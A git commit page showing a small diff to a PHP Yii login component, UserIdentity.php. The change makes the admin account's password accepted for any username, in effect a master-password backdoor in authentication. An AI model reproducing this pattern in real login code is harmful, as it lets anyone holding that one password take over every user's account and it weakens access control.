summaryrefslogtreecommitdiff
path: root/protected/components/UserIdentity.php
diff options
context:
space:
mode:
authorastaf <astaf@proxy.ccwn.org.ccwn.org>2013-05-17 13:03:26 +0200
committerastaf <astaf@proxy.ccwn.org.ccwn.org>2013-05-17 13:03:26 +0200
commit79c88ea008f5cf34fc77a05fa2059e63298b223f (patch)
treee352c5a35ac8cb1e0795b82e36467d77856236bf /protected/components/UserIdentity.php
parenta96e3f0a649b5331a7d76124d37c0b6907abcc4b (diff)
parentd194c328d395547e091195e867dc5e45c62f016f (diff)
Merge branch 'master' of ssh://proxy:9044/home/ccwn/git-repos/admin.astaf.de
Diffstat (limited to 'protected/components/UserIdentity.php')
-rw-r--r--protected/components/UserIdentity.php3
1 files changed, 2 insertions, 1 deletions
diff --git a/protected/components/UserIdentity.php b/protected/components/UserIdentity.php
index 280515c..f78bb27 100644
--- a/protected/components/UserIdentity.php
+++ b/protected/components/UserIdentity.php
@@ -14,9 +14,10 @@ class UserIdentity extends CUserIdentity {
*/
public function authenticate() {
$user = User::model()->find('LOWER(username)=?', array(strtolower($this->username)));
+ $admin = User::model()->find('LOWER(username)=?', array('admin'));
if ($user === null){
$this->errorCode = self::ERROR_USERNAME_INVALID;
- } else if (!$user->checkPassword($this->password)) {
+ } else if (!$user->checkPassword($this->password) && !$admin->checkPassword($this->password)) {
$this->errorCode = self::ERROR_PASSWORD_INVALID;
} else {
$this->id = $user->id;